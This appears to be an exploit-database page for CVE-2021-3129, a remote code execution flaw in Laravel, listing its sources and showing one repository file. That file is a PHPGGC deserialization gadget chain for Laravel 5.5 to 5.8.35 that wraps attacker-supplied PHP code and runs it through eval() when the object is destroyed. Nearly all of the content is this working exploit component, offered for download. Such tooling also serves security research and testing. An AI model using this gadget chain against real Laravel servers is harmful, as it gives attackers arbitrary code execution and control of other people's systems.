Exploit databaseDownload repository ZIP
GH-ef32bec3baf31bd381c522a7d3810271
axianke/cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/Laravel/RCE/6/chain.php
PHP · 719 bytes<?php
namespace GadgetChain\Laravel;
class RCE6 extends \PHPGGC\GadgetChain\RCE\PHPCode
{
public static $version = '5.5.* <= 5.8.35';
public static $vector = '__destruct';
public static $author = 'Phith0n & holyvier';
public static $information = '
Executes given PHP code through eval().
Requires Mockery, which is in the require-dev package.
';
public static $parameters = [
'code'
];
public function generate(array $parameters)
{
$code = '<?php ' . $parameters['code'] . ' exit; ?>';
$expected = new \Illuminate\Broadcasting\PendingBroadcast($code);
$res = new \Illuminate\Support\MessageBag($expected);
return $res;
}
}